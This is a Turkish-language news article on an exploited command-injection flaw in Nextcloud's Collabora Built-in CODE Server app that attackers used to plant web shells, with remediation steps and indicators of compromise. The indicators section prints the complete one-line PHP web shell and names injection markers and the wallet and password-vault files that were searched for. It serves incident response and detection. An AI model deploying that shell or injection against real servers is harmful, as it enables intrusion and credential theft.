Collabora Online - Built-in CODE Server uygulamasındaki kritik açık üzerinden Nextcloud sunucularına web shell yerleştirildi. 26.4.303 öncesi tüm sürümler etkileniyor, uygulamayı devre dışı bırakmak korumuyor.
Yazılım ve Uygulamalar
Admin3 okunma

Nextcloud'da Kritik Collabora Açığı Üzerinden Web Shell Saldırısı

Collabora Online - Built-in CODE Server uygulamasındaki kritik açık üzerinden Nextcloud sunucularına web shell yerleştirildi. 26.4.303 öncesi tüm sürümler etkileniyor, uygulamayı devre dışı bırakmak korumuyor.

Nextcloud'da Kritik Collabora Açığı Üzerinden Web Shell Saldırısı

Haber detayı

Saldırganlar, Nextcloud için isteğe bağlı bir uygulama olan Collabora Online - Built-in CODE Server'daki kritik bir açığı kullanarak sunuculara web shell yerleştirdi. İlk saldırı 10 Eylül'de kayıtlara geçti, açık 11 Eylül'de yayımlanan 26.4.303 sürümüyle kapatıldı ancak güvenlik duyurusu ve CVE kaydı 14 Ekim'e kadar yayımlanmadı. Collabora, uygulamayı devre dışı bırakmanın yeterli olmadığını, mutlaka güncellenmesi veya tamamen kaldırılması gerektiğini bildirdi.
Web shell, saldırganın web isteği üzerinden sunucuda komut çalıştırmasını sağlayan küçük bir dosya olarak tanımlanıyor ve web sunucusu hesabının haklarıyla çalışıyor. Söz konusu açık, kimlik doğrulaması gerektirmeyen bir isteğin sunucuda komut çalıştırmasına izin veriyor ancak yalnızca uygulamanın yerel belge sunucusu çalışmadığında tetiklenebiliyor. Bu durum, yeniden başlatma, güncelleme veya çökme gibi anlarda ortaya çıkıyor.

Kimler Etkileniyor ve Açık Nasıl Çalışıyor​

Etkilenen uygulama, Collabora tarafından richdocumentscode paket adıyla yayımlanan Collabora Online - Built-in CODE Server. Uygulama, Collabora Online Development Edition'ın (CODE) bir kopyasını indirip doğrudan Nextcloud sunucusunun üzerinde çalıştırıyor. Böylece ayrı bir Collabora sunucusuna ihtiyaç duymadan Nextcloud Office ile belge düzenlenebiliyor. Mağaza listesindeki açıklamaya göre uygulama "yerel test ve üretim dışı kullanım için" ve "kişisel kullanım veya küçük ekipler için" tasarlandı.
Collabora'nın 14 Ekim'de yayımladığı danışma metni, 26.4.303 öncesi tüm sürümlerin etkilendiğini belirtiyor. Bağımsız Collabora Online sunucuları bu açıktan etkilenmiyor. Nextcloud topluluk forumunda 3 Ekim'de yayımlanan bir uyarıda da yalnızca Nextcloud Office uygulamasını (richdocuments) yerleşik uygulama olmadan kullanan kurulumların etkilenmediği, Collabora sunucusunun Docker'da, Linux paketinden veya bir barındırma sağlayıcısı üzerinden ayrı çalıştıran kurulumların etkilenmediği aktarıldı.
Açığın kaynağı uygulamanın proxy.php betiği. Bu betik, gelen her istekte yerel CODE sunucusunu başlatmaya çalışıyor ve dinleyen bir şey yoksa devreye giriyor. 26.4.302 ve öncesi sürümlerde betik, istekten gelen metni, yol bilgisi de dahil olmak üzere çift tırnaklı bir bash komutunun içine yerleştiriyordu. Shell, çift tırnak içinde bile $(...) biçiminde yazılan ifadeleri çalıştırmaya devam ettiği için, yol kısmına gizlenmiş bir komut web sunucusu kullanıcısı haklarıyla çalıştırılabiliyordu. Betik bu komutu yalnızca sunucuyu başlatması gerektiğinde oluşturduğu için saldırı da yalnızca sunucu kapalıyken mümkün oluyor.
Betik, uygulamanın klasöründen doğrudan web sunucusu tarafından çalıştırılan düz bir PHP dosyası ve Nextcloud kodlarının hiçbirini yüklemiyor. Collabora danışma metninde "Sorundan kaçınmak için uygulamayı devre dışı bırakmak yeterli değildir; >= 26.4.303 sürümüne yükseltilmeli veya kaldırılmalıdır" ifadesine yer verildi. Düzeltilen sürümler Nextcloud 30 veya üzerini gerektiriyor. Nextcloud 29 ve daha eski sürümler kullanım ömrünün sonuna geldiği için uygulama mağazası bu sürümlere hala etkilenen bir versiyon sunuyor. Bu durumdaki kullanıcıların Nextcloud'u yükseltmesi veya uygulamayı kaldırması gerekiyor. Aynı betikteki ayrı bir komut enjeksiyonu açığı için yayımlanan CVE-2025-66208 düzeltmesinin, geçen Aralık ayında duyurulduğu ancak bu yeni açığı engellemediği belirtildi.

Saldırganlar Ne Yaptı: İlk Bulgular ve Log Kayıtları​

İlk rapor, birden fazla Nextcloud sunucusu barındıran bir yöneticiden geldi. Yönetici GitHub üzerinde sunucularının bir gün öncesinden itibaren hacklendiğini yazdı. İki sunucuya ait erişim kayıtları, 10 Eylül saat 19:51 ve 11 Eylül saat 09:56'da (UTC+2) tek bir IP adresinden gelen ve proxy.php?status hedefine yönelik, istek yoluna gizlenmiş shell komutu içeren istekleri gösteriyor. Yöneticinin tüm sunucuları 26.4.302 sürümünü çalıştırıyordu.
Komut, uygulama klasörüne tek satırlık bir PHP web shell'i çözüyor ve sunucunun uname -a çıktısını bir webhook.site adresine göndermeye çalışıyordu. Bir sunucuda saldırgan daha sonra bu shell'i kullanarak kimlik bilgisi depolarını ve kripto para cüzdanlarını aradı. Aranan dosya ve isimler arasında *.kdbx, wallet.dat ve keystore.json ile bitwarden, 1password, .bitcoin, .electrum, .monero ve .ethereum gibi ifadeler yer aldı. İncelenen isteklerde dosyaları arşivleyen, yükleyen veya dışarı kopyalayan bir komuta rastlanmadı ancak yönetici, web sunucusu hesabının okuyabildiği her şeyin potansiyel olarak ifşa olmuş kabul edilmesi gerektiğini yazdı.
Aynı durumu iki yönetici daha kendi sunucularında bildirdi. Biri shell'i Nextcloud'un bütünlük kontrolünün yeni bir PHP dosyasını işaret etmesiyle buldu, diğeri ise sunucuda web sunucusu hesabı adına başarısız sudo denemeleri hakkında gelen e-postalarla ihlali öğrendi. Raporların hiçbirinde saldırganın root erişimi elde ettiğine dair bulgu yer almadı.
26.4.303 sürümüne güncelledikten sonra yöneticilerden biri, 14 Eylül'de ikinci bir IP adresinden aynı türde bir yük içeren başka bir deneme kaydetti. Başlatılan CODE sunucusu, saldırı metnini başlangıç seçeneklerinde taşıyordu ancak yeni bir shell dosyası oluşmadı. Proje adına yanıt veren mmeeks, "korkutucu görünüyor ama zararsız olmalı" diyerek kullanıcılara güncelleme yapmalarını ve kalan shx*.php dosyalarını silmelerini söyledi. CVE kaydı açığı "Eylül ve Ekim 2026'da vahşi ortamda istismar edildi" şeklinde tanımlıyor. Kaç sunucunun etkilendiği bilinmiyor. mmeeks, "Bu yalnızca Development Edition'ı ve yalnızca yerel bir appimage indiren bu (oldukça nadir) Yerleşik CODE Sunucusu dağıtım modunu etkiliyor" dedi.

Ne Yapılmalı: Güncelleme ve Temizlik Adımları​

Collabora ve raporları paylaşan yöneticilerin önerdiği adımlar sırasıyla şöyle: Nextcloud uygulama listesinde Collabora Online - Built-in CODE Server olarak görünen richdocumentscode uygulamasını 26.4.303 veya sonrasına güncelleyin ya da uygulamayı kaldırın. Nextcloud içinde devre dışı bırakmak açığı kapatmıyor. Nextcloud 29 veya daha eski sürümlerde 26.4.303 kurulamadığı için Nextcloud'u yükseltin veya uygulamayı kaldırın.
Güncelleme yaptıysanız, başta apps/richdocumentscode olmak üzere shx*.php dosyalarını arayın ve silin. Ardından erişim kayıtlarını en az 10 Eylül'e kadar geriye dönük olarak proxy.php?status istekleri için tarayın ve yol kısmında %2e%2e, $( veya ${IFS} içeren istekleri inceleyin. Web sunucusu hesabı adına yapılmış sudo denemelerini de kontrol edin. İlk raporu yazan yöneticinin tavsiyesinde olduğu gibi, o hesabın okuyabildiği her veriyi potansiyel olarak ifşa olmuş kabul edin.
24 Eylül'de yayımlanan 26.4.402 sürümü, başlatma komutunu her seçeneği ayrı bir argüman olarak iletecek şekilde yeniden yazdı ancak yöneticiler bu sürümün bazı kurulumlarda başlatılamadığını veya belgeleri açamadığını bildirerek 26.4.303 sürümüne geri döndü. Danışma metninin düzeltme olarak işaret ettiği sürüm de 26.4.303. 14 Ekim itibarıyla daha yeni bir sürüm yayımlanmadı.
Yöneticilerin kayıtlarından çıkan göstergeler şöyle sıralandı: İlk rapor sahibinin sunucularında apps/richdocumentscode/ klasöründe bulunan shrf4645.php, shxa35d0.php, shx5cf91.php, shxd33ce.php ve shxf4645.php dosyaları, ikinci bir yöneticinin bulduğu shx13a86.php dosyası ve 14 Eylül denemesinde dosya oluşturmayan shx56367.php adı. Tek satırlık shell'in SHA-256 değeri 4b9fbd0663fbfd6028fc216ed18e0d6ef3ae498a7fdc97083e4b0ce3cec40562 ve içeriği <?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2>&1'); olarak paylaşıldı. İstek yolu /apps/richdocumentscode/proxy.php?status, IP adresleri 10 ve 11 Eylül saldırıları için 139.28.18.122, 14 Eylül denemesi için 89.38.98.50 olarak kaydedildi. İstek işaretleri arasında %2e%2e, $(, ${IFS} ve base64 -d çıktısının sh'ye aktarılması yer alıyor. Webhook.site alan adı üzerinden 45060ed4-de0b-4119-8f0d-2a2776bbd413 ve 774cf5e1-b5a4-4174-a1ad-0241861029a2 kimlikli geri arama adreslerine deneme yapıldı.

Güvenlik Yaması Sessizce Yayımlandı​

Açığı kapatan kod değişikliği proxy.php içinde dört satırdan oluşuyor. Başlatma komutu artık çift tırnaklı bir dize yerine bash'e tek bir kaçış karakterli argüman olarak iletiliyor, böylece komutu alan shell istekten gelen metni genişletmiyor. Depodaki commit kaydı, değişikliğin 20 Ağustos'ta danışma metnini de yayımlayan Caolán McNamara tarafından "tidy up how the coolwsd launch command is built" başlığıyla yazıldığını gösteriyor. Değişiklik 31 Ağustos'ta yayımlanan 26.4.302 sürümünde yer almıyordu ve 9 Eylül'de commit edildi. İlk kayıtlı saldırı 10 Eylül'de geldi, 26.4.303 ise 11 Eylül'de yayımlandı ancak sürüm notlarında yalnızca paketlenmiş CODE derlemesinden bahsedildi.
Saldırıları bildiren yönetici, düzeltme beklerken uygulamayı devre dışı bırakmıştı; bu adımın yeterli olmadığı danışma metninde sonradan açıkça belirtildi. Tartışma başlığında mmeeks kullanıcılara güncelleme çağrısı yaptı, "zaman içinde daha fazla güncelleme" sözü verdi ve GitHub'ın danışma veritabanındaki "kayıt birikmesine" işaret ederek GitHub'ın işlemlerinin haftalarca geride kaldığını söylediği Haziran ayındaki bir gönderiye bağlantı verdi.
3 Ekim'de Nextcloud topluluk forumundaki bir üye, açık "zaten istismar ediliyor" ve "hiçbir uyarı veya CVE yayımlanmadı" diyerek kullanıcıları hemen güncellemeye çağırdı. CVE ve danışma metni 14 Ekim'de geldi. Danışma metni, raporlayan kişi olarak GitHub kullanıcısı wwwshellcodeit'i gösteriyor ancak ne danışma metni ne de tartışma başlığı raporun ne zaman geldiğini veya Collabora'nın değişikliğin bir güvenlik düzeltmesi olduğunu ne zaman öğrendiğini belirtiyor.

Sıkça Sorulan Sorular​

Hangi Nextcloud kurulumları bu açıktan etkileniyor?​

Yalnızca richdocumentscode paket adıyla yayımlanan Collabora Online - Built-in CODE Server uygulamasını kullanan ve 26.4.303 öncesi sürümleri çalıştıran kurulumlar etkileniyor. Yalnızca Nextcloud Office uygulamasını (richdocuments) kullanan, Collabora sunucusunu Docker, Linux paketi veya barındırma sağlayıcısı üzerinden ayrı çalıştıran kurulumlar etkilenmiyor. Bağımsız Collabora Online sunucuları da etkilenmiyor.

Açık nasıl tetikleniyor ve saldırgan ne yapabiliyor?​

Açık, proxy.php betiğinin istek yolundaki metni çift tırnaklı bir bash komutuna yerleştirmesi ve shell'in $(...) ifadelerini çalıştırması nedeniyle oluşuyor. Saldırgan, kimlik doğrulaması olmadan gönderdiği isteğin yoluna gizlediği komutu web sunucusu kullanıcısı haklarıyla çalıştırabiliyor. Bu yalnızca yerel CODE sunucusu çalışmadığında, örneğin yeniden başlatma, güncelleme veya çökme sırasında mümkün oluyor ve web shell yerleştirilmesine yol açıyor.

Saldırılar ne zaman ve nasıl tespit edildi?​

İlk rapor GitHub'da paylaşıldı ve erişim kayıtları 10 Eylül 19:51 ile 11 Eylül 09:56 (UTC+2) tarihlerinde 139.28.18.122 adresinden proxy.php?status hedefine gelen saldırıları gösteriyor. İki yönetici daha benzer ihlalleri biri bütünlük kontrolü diğeri başarısız sudo denemeleri e-postalarıyla tespit etti. 14 Eylül'de 89.38.98.50 adresinden yamalı bir sunucuya yönelik başarısız bir deneme daha kaydedildi.

Sunucumu korumak için ne yapmalıyım?​

richdocumentscode uygulamasını 26.4.303 veya sonrasına güncelleyin veya tamamen kaldırın; devre dışı bırakmak yeterli değil. Nextcloud 29 ve öncesi 26.4.303'ü kuramadığı için Nextcloud'u yükseltin veya uygulamayı kaldırın. Güncellemeden sonra apps/richdocumentscode başta olmak üzere shx*.php dosyalarını silin, erişim kayıtlarını 10 Eylül'e kadar %2e%2e, $(, ${IFS} ve base64 -d işaretleri için tarayın ve web sunucusu hesabının erişebildiği verileri potansiyel olarak ifşa olmuş kabul edin.

Yama ne zaman yayımlandı ve neden geç duyuruldu?​

Düzeltme kodu 20 Ağustos'ta yazıldı, 9 Eylül'de commit edildi ve 11 Eylül'de 26.4.303 sürümüyle yayımlandı ancak sürüm notlarında yalnızca CODE derlemesinden bahsedildi. Güvenlik danışma metni ve CVE-2026-110447 kaydı 14 Ekim'de yayımlandı. Tartışma başlığında mmeeks, GitHub danışma veritabanındaki birikmeye işaret etti ve 3 Ekim'de forumda yayımlanan bir uyarı, CVE yayımlanmadan önce açığın istismar edildiğini belirtmişti.

Etiketler

Yorumlar (0)

Yorum yapmak için giriş yapmalısınız.

Geri
Üst